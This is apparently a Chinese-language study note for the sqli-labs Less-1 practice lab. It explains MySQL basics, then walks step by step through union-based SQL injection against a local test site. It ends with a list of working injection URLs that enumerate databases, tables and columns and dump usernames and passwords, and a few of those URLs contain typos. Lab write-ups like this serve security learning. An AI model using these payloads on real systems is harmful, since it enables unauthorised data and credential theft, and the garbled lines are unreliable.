mysql 基本用法
查库:select schema_name from information_schema.schemata;
查表:select table_name from information_schema.tables where table_schema='security';
查列:select column_name from information_schema.columns where table_name='users';
查字段:select username,password from security.users;
less-01
进入数据库:mysql -h127.0.0.1 -uroot -proot
show databases;
use security;
select * from where id='1' LIMIT 0,1;
limit 0,1; 其中第一位是从第几个开始,比如 0 代表从第一个开始,而第二位的1代表的就是显示多少个数据
在 sql 语句中:
--+:减减加
-- :减减空格
#:井号
都是代表注释的意思,表示此符号后不执行
在 sql 语句中:
or and
A and B :A,B 都为 true 才为 true
A or B :A,B 中有一个正确结果都是 true
order by number:
number : 代表是第几列,进行顺序排列
显示没有第五列
试出 mysql 数据库中 less-1 存在三列
这时,已知存在三列 1,2,3
所以这里用 union
把 id=1 改为 id=-1 使其报错,执行 union 后面的 sql 语句
这时候 name 为2
password 为3
说明有回显,可以进行递用
函数的基本用法
system_user() #当前系统用户
user() #当前登录用户
current_user() #当前登录用户
database() #当前使用的数据库
version() #当前 mysql 版本信息
@@datadir # mysql 的安装路径
@@version_compile_os #当前的操作系统
在上述中因为有回显,所以现在选择在 3 的位置做一个查库操作
这时就会得到第一个数据库
使用 limit 取出更多的数据
因为在 web 网页中就只能显示一行
所以行是不变的,在列上发生变化就可以了
如上这样一个一个的输出很慢,所以用到
group_concat()
它会把数据连接成一行输出
这时 mysql 数据库就出来了
information_schema,challenges,mysql,performance_schema,security,sys
这时取 security 进行操作,得到 security 中的表信息
emails,referers,uagents,users
在上一步操作中的最后一个 table_schema='security'
不推荐使用单引号
把单引号去掉,在 security 前写入 0x 变为16进制
选中 security 然后点击 Encoding 在点击 Hex Encode
对 users 列表进行操作
同样的 ‘’ 里面的东西一样转化为 16 进制
取出 user 里面的 username 和 password
使用一个批量的函数: concat_ws('~~',A,B) 表示:A~~B
http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1'union select 1,2,group_concat(concat_ws('~~',username,password)) from security.users --+
等价于
http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1'union select 1,2,group_concat(concat_ws(0x7e7e,username,password)) from security.users --+
单引号里面的东西尽量变为 0x (16进制)
小结
1。 http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=1' #查看是否有注入
2。 http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' order by 3 --+ #查看有多少列
3。 http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,3 --+ #查看当前有哪些数据可以回显
4。 http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,database() --+ #查看当前数据库
5。 http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,schema_name from information_schema.schemata limit 4,1 --+ #查看数据库 security
或者是
http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,group_caoncat(schema_name) from information_schema.schemata --+ #查看所有的数据库
6。 http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1’ union select 1,2,table_name from information_schema.tables where table_schema='security' limit 1,1 --+ #查表
或者是
http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2group_concat(table_name) from information_schema.tables where table_schema='security' --+ #查看所有的表
7。 http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,column_name from information_schema.columns where table_name='security' --+ #查询列信息
或者是
http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='security' --+ #查看所有的列信息
8。 http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,concat_ws('~~',username,password) from security.users limit 1,1 #查询一个账号和密码
或者是
http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,group_concat(concat_ws('~~',username,password)) from security --+ #查看可以得到的所有账号和密码,并且使用 ~~ 符号进行分隔。
或者是
http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,group_concat(concat_ws('~~',username,password)) from security --+ #查看可以得到的所有账号和密码,并且使用 ~~ 符号进行分隔。